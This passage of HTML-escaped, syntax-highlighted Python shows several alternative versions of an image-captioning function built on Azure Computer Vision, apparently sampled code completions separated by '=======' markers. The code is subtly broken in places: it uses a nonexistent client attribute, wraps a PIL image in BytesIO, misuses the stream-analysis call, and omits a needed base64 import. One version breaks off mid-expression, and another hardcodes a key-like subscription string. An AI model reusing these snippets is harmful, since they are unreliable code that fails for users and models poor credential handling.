&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Open the local image file.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(image_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; image_file:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Read the image into a byte array.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        image_data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; image_file&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set the features to return.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    features &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [VisualFeatureTypes&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;categories, VisualFeatureTypes&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;description, VisualFeatureTypes&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;tags]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Analyze the local image.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        result &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; client&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;analyze_image(image&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;image_data, visual_features&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;features)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(image_file, subscription_key):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; ComputerVisionClient
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;msrest.authentication&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; CognitiveServicesCredentials
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;PIL&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; Image
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;io&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; BytesIO
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    client &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ComputerVisionClient(ComputerVisionClient&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;SUBSCRIPTION_KEY_ENDPOINT,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                  CognitiveServicesCredentials(subscription_key))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_stream &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(image_file, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Image&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;open(image_stream)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_bytes &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; BytesIO(image)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    analysis &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; client&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;analyze_image(image_bytes, ComputerVisionClient&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;DESCRIPTION)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; analysis&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;description&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;captions[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(image_filename):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; ComputerVisionClient
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;msrest.authentication&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; CognitiveServicesCredentials
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;PIL&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; Image
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;io&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; BytesIO
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;requests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set the environment variables for your subscription key and region&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# For example, for US West&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;COMPUTER_VISION_SUBSCRIPTION_KEY=&amp;lt;subscription key&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;COMPUTER_VISION_ENDPOINT=https://westus2.api.cognitive.microsoft.com/vision/v2.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# For example, for China East&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;COMPUTER_VISION_SUBSCRIPTION_KEY=&amp;lt;subscription key&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;COMPUTER_VISION_ENDPOINT=https://eastasia.api.cognitive.microsoft.com/vision/v2.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set your subscription key and region&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    subscription_key &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;COMPUTER_VISION_SUBSCRIPTION_KEY&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    endpoint &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;COMPUTER_VISION_ENDPOINT&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set your image path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_path &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; image_filename
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set your region&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    region &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;eastus&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create an instance of the Computer Vision client&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    computer_vision_client &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ComputerVisionClient(endpoint, CognitiveServicesCredentials(subscription_key))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the image from disk&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(image_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; image_file:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        image_content &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; image_file&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add the image to the list of images to analyze&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_list &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [image_content]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Make the analysis asynchronous&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    analyze_result &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; computer_vision_client&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;analyze_image_in_stream(image_list, visual_features&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Categories&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Description&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Color&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get the analysis result&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    analysis &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; analyze_result&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;result()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Display the image captions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Image captions:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; caption &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; analysis&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;description&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(image_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# load the image&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(image_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# encode the image into base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; base64&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;b64encode(image)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# create a dict with the image&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    body &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;image&amp;#34;&lt;/span&gt;: image}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# create a dict with the subscription key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    headers &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Ocp-Apim-Subscription-Key&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;0d5a5f7f1e534d05a8e8d6f9e6e9c6d3&amp;#34;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# create a url for the api&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;https://westcentralus.api.cognitive.microsoft.com/vision/v1.0/analyze?visualFeatures=Description,Tags&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# send the request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;post(url, headers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;headers, json&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;body)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# get the response&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;raise_for_status()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# get the caption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    caption &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; response&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;json()[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;captions&amp;#34;&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# return the caption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; caption
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(image_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; environ
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os.path&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; join
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;urllib.parse&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; urlparse
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;urllib.parse&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; parse_qs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;http.client&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; HTTPSConnection
